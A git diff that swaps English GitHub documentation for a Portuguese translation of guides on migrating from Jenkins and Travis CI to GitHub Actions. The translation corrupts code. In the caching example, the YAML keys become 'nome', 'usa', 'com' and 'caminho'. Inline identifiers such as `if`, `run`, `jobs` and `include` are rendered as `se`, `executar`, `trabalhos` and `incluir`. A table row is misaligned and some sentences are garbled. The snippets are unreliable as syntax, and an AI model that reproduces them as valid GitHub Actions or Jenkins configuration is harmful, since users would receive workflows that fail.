-| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                    | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs) |
-| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                        | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
-| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) |
-| [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)            | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule) |
-| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                              | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname) |
-| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                              | {% ifversion ghae %}The command-line tools available in `PATH` on your self-hosted runner systems. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %}
-| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                              | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs) |
-| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif) |
+| Diretivas do Jenkins                                                                                                                                                                                                                                                                                                                                                             | {% data variables.product.prodname_actions %}
+| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`ambiente`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                                                                                                                                                                                                                                                                                                           | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv)                                                                                                                                                                                                                                                                                              |
+| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                                                             | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes)                                                                                    |
+| [`parâmetros`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                                                                                                                                                                                                                                                                                                          | [`entradas`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`saídas`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)                                                                                                                                                                                                                                                                                                                                                                                                       |
+| [`gatilhos`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                                                                                              | [`em`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
+| [`aciona { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                                                                                                                                                                                                                                                                                         | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds)                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| [Sintaxe cron do Jenkins](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)                                                                                                                                                                                                                                                                                              | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule)                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                                                                                                                                                                                                                                                                                                                    | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname)                                                                                                                                                                                                                                                                                                       |
+| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                                                                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| {% ifversion ghae %}As ferramentas de linha de comando disponíveis em `PATH` nos seus sistemas de executores auto-hospedados. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Especificações para os executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software) | {% endif %}
+| [`entrada`](https://jenkins.io/doc/book/pipeline/syntax/#input)                                                                                                                                                                                                                                                                                                                  | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs)                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| [`quando`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                                                                                                                                                                                                                                                                                                    | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif)                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
 
-## Using sequential stages
+## Usar estágios sequenciais
 
-### Parallel job processing
+### Processamento paralelo do trabalho
 
-Jenkins can run the `stages` and `steps` in parallel, while {% data variables.product.prodname_actions %} currently only runs jobs in parallel.
+O Jenkins pode executar os `stages` e as `etapas` em paralelo, enquanto o {% data variables.product.prodname_actions %} está executando os trabalhos em paralelo.
 
-| Jenkins Parallel | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs.<job_id>.strategy.max-parallel`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) |
+| Jenkins em paralelo                                                 | {% data variables.product.prodname_actions %}
+| ------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`paralelo`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs.<job_id>.strategy.max-parallel`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) |
 
-### Build matrix
+### Criar matriz
 
-Both {% data variables.product.prodname_actions %} and Jenkins let you use a build matrix to define various system combinations.
+Tanto o {% data variables.product.prodname_actions %} quanto o Jenkins permitem que você use uma matriz de criação para definir várias combinações de sistema.
 
-| Jenkins       | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes)       | [`strategy/matrix`](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix) <br> [`context`](/actions/reference/context-and-expression-syntax-for-github-actions) |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages)   | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context) |
-| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |  |
+| Jenkins                                                                | {% data variables.product.prodname_actions %}
+| ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`eixo`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes)     | [`estratégia/matriz`](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix) <br> [`contexto`](/actions/reference/context-and-expression-syntax-for-github-actions) |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) | [`steps-context`](/actions/reference/context-and-expression-syntax-for-github-actions#steps-context)                                                                                               |
+| [`exclui`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) |                                                                                                                                                                                                    |
 
-### Using steps to execute tasks
+### Usar passos para executar tarefas
 
-Jenkins groups `steps` together in `stages`. Each of these steps can be a script, function, or command, among others. Similarly, {% data variables.product.prodname_actions %} uses `jobs` to execute specific groups of `steps`.
+O Jenkins agrupa as `etapas` em `stages`. Cada uma dessas etapas pode ser um script, função ou comando, entre outros. Da mesma forma, o {% data variables.product.prodname_actions %} usa `trabalhos` para executar grupos específicos de `etapas`.
 
-| Jenkins steps | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Etapas do Jenkins                                               | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
 | [`script`](https://jenkins.io/doc/book/pipeline/syntax/#script) | [`jobs.<job_id>.steps`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps) |
 
-## Examples of common tasks
+## Exemplos de tarefas comuns
 
-### Scheduling a pipeline to run with `cron`
+### Agendar um pipeline para ser executado com `cron`
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Pipeline do Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Fluxo de trabalho do {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -138,15 +139,15 @@ on:
 </tr>
 </table>
 
-### Configuring environment variables in a pipeline
+### Configurar variáveis de ambiente em um pipeline
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Pipeline do Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Fluxo de trabalho do {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -175,15 +176,15 @@ jobs:
 </tr>
 </table>
 
-### Building from upstream projects
+### Criar projetos projetos de upstream
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Pipeline do Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Fluxo de trabalho do {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
@@ -216,15 +217,15 @@ jobs:
 </tr>
 </table>
 
-### Building with multiple operating systems
+### Criar com vários sistemas operacionais
 
 <table>
 <tr>
 <th>
-Jenkins Pipeline
+Pipeline do Jenkins
 </th>
 <th>
-{% data variables.product.prodname_actions %} Workflow
+Fluxo de trabalho do {% data variables.product.prodname_actions %}
 </th>
 </tr>
 <tr>
diff --git a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
index 2cf18968d5..174da99272 100644
--- a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
+++ b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Travis CI to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Travis CI share multiple similarities, which helps make it relatively straightforward to migrate to {% data variables.product.prodname_actions %}.'
+title: Migrar do Travis CI para o GitHub Actions
+intro: '{% data variables.product.prodname_actions %} e o Travis CI compartilham várias semelhanças, o que ajuda a tornar relativamente fácil a migração para {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions
 versions:
@@ -14,57 +14,56 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Travis CI
+shortTitle: Fazer a migração a partir da CI do Travis
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide helps you migrate from Travis CI to {% data variables.product.prodname_actions %}. It compares their concepts and syntax, describes the similarities, and demonstrates their different approaches to common tasks.
+Este guia ajuda a você a fazer a migração do Travis CI para {% data variables.product.prodname_actions %}. Ele compara os seus conceitos e sintaxe, descreve as semelhanças e demonstra as suas diferentes abordagens em relação às tarefas comuns.
 
-## Before you start
+## Antes de começar
 
-Before starting your migration to {% data variables.product.prodname_actions %}, it would be useful to become familiar with how it works:
+Antes de iniciar sua migração para {% data variables.product.prodname_actions %}, seria importante familiarizar-se com a forma como funciona:
 
-- For a quick example that demonstrates a {% data variables.product.prodname_actions %} job, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)."
-- To learn the essential {% data variables.product.prodname_actions %} concepts, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)."
+- Para um exemplo rápido que demonstra um trabalho de {% data variables.product.prodname_actions %}, consulte "[Início rápido para {% data variables.product.prodname_actions %}](/actions/quickstart)".
+- Para aprender os conceitos básicos de {% data variables.product.prodname_actions %}, consulte "[Introdução ao GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)".
 
-## Comparing job execution
+## Comparar a execução do trabalho
 
-To give you control over when CI tasks are executed, a {% data variables.product.prodname_actions %} _workflow_ uses _jobs_ that run in parallel by default. Each job contains _steps_ that are executed in a sequence that you define. If you need to run setup and cleanup actions for a job, you can define steps in each job to perform these.
+Para dar controle a você sobre quando as tarefas de CI são executadas, um _fluxo de trabalho_ de {% data variables.product.prodname_actions %} usa _trabalhos_ que são executados em paralelo por padrão. Cada trabalho contém _etapas_ que são executadas em uma sequência que você define. Se você precisa executar a configuração e a limpeza de ações para um trabalho, você pode definir etapas em cada trabalho para executá-las.
 
-## Key similarities
+## Principais semelhanças
 
-{% data variables.product.prodname_actions %} and Travis CI share certain similarities, and understanding these ahead of time can help smooth the migration process.
+{% data variables.product.prodname_actions %} e o Travis CI compartilham certas semelhanças e entendê-las antecipadamente pode ajudar a agilizar o processo de migração.
 
-### Using YAML syntax
+### Usar a sintaxe de YAML
 
-Travis CI and {% data variables.product.prodname_actions %} both use YAML to create jobs and workflows, and these files are stored in the code's repository. For more information on how {% data variables.product.prodname_actions %} uses YAML, see ["Creating a workflow file](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."
+O Travis CI e o {% data variables.product.prodname_actions %} usam o YAML para criar trabalhos e fluxos de trabalho, e esses arquivos são armazenados no repositório do código. Para obter mais informações sobre como o {% data variables.product.prodname_actions %} usa o YAML, consulte ["Criar um arquivo de fluxo de trabalho](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)".
 
-### Custom environment variables
+### Variáveis de ambiente personalizadas
 
-Travis CI lets you set environment variables and share them between stages. Similarly, {% data variables.product.prodname_actions %} lets you define environment variables for a step, job, or workflow. For more information, see ["Environment variables](/actions/reference/environment-variables)."
+O Travis CI permite que você defina variáveis de ambiente e compartilhe-as entre stages. Da mesma forma, {% data variables.product.prodname_actions %} permite definir variáveis de ambiente para uma etapa, um trabalho ou um fluxo de trabalho. Para obter mais informações, consulte ["Variáveis de ambiente](/actions/reference/environment-variables)".
 
-### Default environment variables
+### Variáveis padrão de ambiente
 
-Travis CI and {% data variables.product.prodname_actions %} both include default environment variables that you can use in your YAML files. For {% data variables.product.prodname_actions %}, you can see these listed in "[Default environment variables](/actions/reference/environment-variables#default-environment-variables)."
+O Travis CI e {% data variables.product.prodname_actions %} incluem variáveis de ambiente padrão que você pode usar nos seus arquivos de YAML. Para {% data variables.product.prodname_actions %}, você pode ver estes listados em "[Variáveis de ambiente padrão](/actions/reference/environment-variables#default-environment-variables)".
 
-### Parallel job processing
+### Processamento paralelo do trabalho
 
-Travis CI can use `stages` to run jobs in parallel. Similarly, {% data variables.product.prodname_actions %} runs `jobs` in parallel. For more information, see "[Creating dependent jobs](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)."
+O Travis CI pode usar `stages` para executar trabalhos em paralelo. Da mesma forma, {% data variables.product.prodname_actions %} executa `trabalhos` em paralelo. Para obter mais informações, consulte "[Criar trabalhos dependentes](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs)".
 
-### Status badges
+### Selos de status
 
-Travis CI and {% data variables.product.prodname_actions %} both support status badges, which let you indicate whether a build is passing or failing.
-For more information, see ["Adding a workflow status badge to your repository](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+O Travis CI e {% data variables.product.prodname_actions %} são compatíveis com selos de status, o que permite que você indique se uma criação está sendo aprovada ou falhando. Para obter mais informações, consulte ["Adicionar um selo de status de fluxo de trabalho ao seu repositório](/actions/managing-workflow-runs/adding-a-workflow-status-badge)".
 
-### Using a build matrix
+### Usar uma matriz de criação
 
-Travis CI and {% data variables.product.prodname_actions %} both support a build matrix, allowing you to perform testing using combinations of operating systems and software packages. For more information, see "[Using a build matrix](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)."
+O Travis CI e {% data variables.product.prodname_actions %} são compatíveis com uma matriz de criação, o que permite que você realize testes usando combinações de sistemas operacionais e pacotes de software. Para obter mais informações, consulte "[Usar uma matriz de criação](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)".
 
-Below is an example comparing the syntax for each system:
+Abaixo, há um exemplo de comparação da sintaxe para cada sistema:
 
 <table>
 <tr>
@@ -100,11 +99,11 @@ jobs:
 </tr>
 </table>
 
-### Targeting specific branches
+### Apontar para branches específicos
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to target your CI to a specific branch. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)."
+O Travis CI e {% data variables.product.prodname_actions %} permitem que você aponte a sua CI para um branch específico. Para obter mais informações, consulte "[Sintaxe do fluxo de trabalho para o GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestbranchestags)".
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table>
 <tr>
@@ -140,11 +139,11 @@ on:
 </tr>
 </table>
 
-### Checking out submodules
+### Verificar submódulos
 
-Travis CI and {% data variables.product.prodname_actions %} both allow you to control whether submodules are included in the repository clone.
+O Travis CI e {% data variables.product.prodname_actions %} permitem que você controle se os submódulos estão incluídos no clone do repositório.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table>
 <tr>
@@ -176,50 +175,50 @@ git:
 </tr>
 </table>
 
-### Using environment variables in a matrix
+### Usando variáveis de ambiente em uma matriz
 
-Travis CI and {% data variables.product.prodname_actions %} can both add custom environment variables to a test matrix, which allows you to refer to the variable in a later step.
+O Travis CI e {% data variables.product.prodname_actions %} podem adicionar variáveis de ambiente personalizadas a uma matriz de teste, que permite que você faça referência à variável em uma etapa posterior.
 
-In {% data variables.product.prodname_actions %}, you can use the `include` key to add custom environment variables to a matrix. {% data reusables.github-actions.matrix-variable-example %}
+Em {% data variables.product.prodname_actions %}, você pode usar a chave `incluir` para adicionar variáveis de ambiente personalizadas a uma matriz. {% data reusables.github-actions.matrix-variable-example %}
 
-## Key features in {% data variables.product.prodname_actions %}
+## Principais recursos em {% data variables.product.prodname_actions %}
 
-When migrating from Travis CI, consider the following key features in {% data variables.product.prodname_actions %}:
+Ao fazer a migração do Travis CI, considere os recursos principais a seguir em {% data variables.product.prodname_actions %}:
 
-### Storing secrets
+### Armazenar segredos
 
-{% data variables.product.prodname_actions %} allows you to store secrets and reference them in your jobs. {% data variables.product.prodname_actions %} organizations can limit which repositories can access organization secrets. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Environment protection rules can require manual approval for a workflow to access environment secrets. {% endif %}For more information, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+{% data variables.product.prodname_actions %} permite armazenar segredos e referenciá-los em seus trabalhos. Organizações de {% data variables.product.prodname_actions %} podem limitar quais repositórios podem acessar segredos da organização. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}As regras de proteção de ambiente podem exigir a aprovação manual de um fluxo de trabalho para acessar segredos de ambiente. {% endif %}Para obter mais informações, consulte "[Segredos criptografados](/actions/reference/encrypted-secrets)".
 
-### Sharing files between jobs and workflows
+### Compartilhar arquivos entre trabalhos e fluxos de trabalho
 
-{% data variables.product.prodname_actions %} includes integrated support for artifact storage, allowing you to share files between jobs in a workflow. You can also save the resulting files and share them with other workflows. For more information, see "[Sharing data between jobs](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)."
+{% data variables.product.prodname_actions %} inclui suporte integrado para o armazenamento de artefatos, permitindo que você compartilhe arquivos entre os trabalhos de um fluxo de trabalho. Você também pode salvar os arquivos resultantes e compartilhá-los com outros fluxos de trabalho. Para obter mais informações, consulte "[Compartilhar dados entre trabalhos](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs)".
 
-### Hosting your own runners
+### Hospedar seus próprios executores
 
-If your jobs require specific hardware or software, {% data variables.product.prodname_actions %} allows you to host your own runners and send your jobs to them for processing. {% data variables.product.prodname_actions %} also lets you use policies to control how these runners are accessed, granting access at the organization or repository level. For more information, see ["Hosting your own runners](/actions/hosting-your-own-runners)."
+Se os seus trabalhos exigirem hardware ou software específico, {% data variables.product.prodname_actions %} permitirá que você hospede seus próprios executores e envie seus trabalhos para eles processarem. {% data variables.product.prodname_actions %} também permite usar políticas para controlar como esses executores são acessados, concedendo acesso ao nível da organização ou do repositório. Para obter mais informações, consulte ["Hospedar seus próprios executores](/actions/hosting-your-own-runners)".
 
 {% ifversion fpt or ghec %}
 
-### Concurrent jobs and execution time
+### Trabalhos simultâneos e tempo de execução
 
-The concurrent jobs and workflow execution times in {% data variables.product.prodname_actions %} can vary depending on your {% data variables.product.company_short %} plan. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration)."
+Os trabalhos simultâneos e os tempos de execução do fluxo de trabalho em {% data variables.product.prodname_actions %} podem variar dependendo do seu plano de {% data variables.product.company_short %}. Para obter mais informações, consulte "[Limites de uso, cobrança e administração](/actions/reference/usage-limits-billing-and-administration)".
 
 {% endif %}
 
-### Using different languages in {% data variables.product.prodname_actions %}
+### Usar diferentes linguagens em {% data variables.product.prodname_actions %}
 
-When working with different languages in {% data variables.product.prodname_actions %}, you can create a step in your job to set up your language dependencies. For more information about working with a particular language, see the specific guide:
-  - [Building and testing Node.js or Python](/actions/guides/building-and-testing-nodejs-or-python)
-  - [Building and testing PowerShell](/actions/guides/building-and-testing-powershell)
-  - [Building and testing Java with Maven](/actions/guides/building-and-testing-java-with-maven)
-  - [Building and testing Java with Gradle](/actions/guides/building-and-testing-java-with-gradle)
-  - [Building and testing Java with Ant](/actions/guides/building-and-testing-java-with-ant)
+Ao trabalhar com diferentes linguagens em {% data variables.product.prodname_actions %}, você pode criar uma etapa no seu trabalho para configurar as dependências da sua linguagem. Para obter mais informações sobre como trabalhar com uma linguagem em particular, consulte o guia específico:
+  - [Criar e testar Node.js ou Python](/actions/guides/building-and-testing-nodejs-or-python)
+  - [Criar e testar PowerShell](/actions/guides/building-and-testing-powershell)
+  - [Criar e estar o Java com o Maven](/actions/guides/building-and-testing-java-with-maven)
+  - [Criar e estar o Java com o Gradle](/actions/guides/building-and-testing-java-with-gradle)
+  - [Criar e estar o Java com o Ant](/actions/guides/building-and-testing-java-with-ant)
 
-## Executing scripts
+## Executar scripts
 
-{% data variables.product.prodname_actions %} can use `run` steps to run scripts or shell commands. To use a particular shell, you can specify the `shell` type when providing the path to the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+{% data variables.product.prodname_actions %} pode usar as etapas de `executar` para executar scripts ou comandos de shell. Para usar um shell específico, você pode especificar o tipo de `shell` ao fornecer o caminho para o script. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)".
 
-For example:
+Por exemplo:
 
 ```yaml
 steps:
@@ -228,23 +227,23 @@ steps:
     shell: bash
 ```
 
-## Error handling in {% data variables.product.prodname_actions %}
+## Manuseio de erros em {% data variables.product.prodname_actions %}
 
-When migrating to {% data variables.product.prodname_actions %}, there are different approaches to error handling that you might need to be aware of.
+Ao migrar para {% data variables.product.prodname_actions %}, existem diferentes abordagens para a manipulação de erros das quais você precisa estar ciente.
 
-### Script error handling
+### Manipulação de erros de script
 
-{% data variables.product.prodname_actions %} stops a job immediately if one of the steps returns an error code. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+{% data variables.product.prodname_actions %} interrompe um trabalho imediatamente se uma das etapas retornar um código de erro. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)".
 
-### Job error handling
+### Manipulação de erro de trabalho
 
-{% data variables.product.prodname_actions %} uses `if` conditionals to execute jobs or steps in certain situations. For example, you can run a step when another step results in a `failure()`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)."  You can also use [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) to prevent a workflow run from stopping when a job fails.
+{% data variables.product.prodname_actions %} usa condicionais do tipo `se` para executar trabalhos ou etapas em certas situações. Por exemplo, você pode executar um passo quando outro passo resulta em uma `failure()`. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions)".  Você também pode usar [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) para impedir que uma execução de um fluxo de trabalho seja interrompida quando um trabalho falhar.
 
-## Migrating syntax for conditionals and expressions
+## Migrar a sintaxe para condicionais e expressões
 
-To run jobs under conditional expressions, Travis CI and {% data variables.product.prodname_actions %} share a similar `if` condition syntax. {% data variables.product.prodname_actions %} lets you use the `if` conditional to prevent a job or step from running unless a condition is met. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Para executar trabalhos sob expressões condicionais, o Travis CI e {% data variables.product.prodname_actions %} compartilham uma sintaxe condicional do tipo `se` similar. {% data variables.product.prodname_actions %} permite que você use a condicional do tipo `se` para evitar que um trabalho ou etapa seja executado, a menos que uma condição seja atendida. Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-This example demonstrates how an `if` conditional can control whether a step is executed:
+Este exemplo demonstra como uma condicional do tipo `se` pode controlar se uma etapa é executada:
 
 ```yaml
 jobs:
@@ -255,11 +254,11 @@ jobs:
         if: env.str == 'ABC' && env.num == 123
 ```
 
-## Migrating phases to steps
+## Migrar fases para etapas
 
-Where Travis CI uses _phases_ to run _steps_, {% data variables.product.prodname_actions %} has _steps_ which execute _actions_. You can find prebuilt actions in the [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Building actions](/actions/building-actions)."
+Quando o Travis CI usa _fases_ para executar _etapas_, {% data variables.product.prodname_actions %} tem _etapas_ que executam _ações_. Você pode encontrar ações pré-criadas no [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), ou você pode criar as suas próprias ações. Para obter mais informações, consulte "[Criar ações](/actions/building-actions)".
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table>
 <tr>
@@ -301,9 +300,9 @@ jobs:
 </tr>
 </table>
 
-## Caching dependencies
+## Memorizar dependências
 
-Travis CI and {% data variables.product.prodname_actions %} let you manually cache dependencies for later reuse. This example demonstrates the cache syntax for each system.
+O Travis CI e {% data variables.product.prodname_actions %} permitem que você armazene as as dependências em cache manualmente para reutilização posterior. Esse exemplo demonstra a sintaxe do cache para cada sistema.
 
 <table>
 <tr>
@@ -326,10 +325,10 @@ cache: npm
 <td class="d-table-cell v-align-top">
 {% raw %}
 ```yaml
-- name: Cache node modules
-  uses: actions/cache@v2
-  with:
-    path: ~/.npm
+- nome: Módulos do nó da cache
+  usa: actions/cache@v2
+  com:
+    caminho: ~/.npm
     key: v1-npm-deps-${{ hashFiles('**/package-lock.json') }}
     restore-keys: v1-npm-deps-
 ```
@@ -338,15 +337,15 @@ cache: npm
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+O cache de {% data variables.product.prodname_actions %} só é aplicável para repositórios hospedados em {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
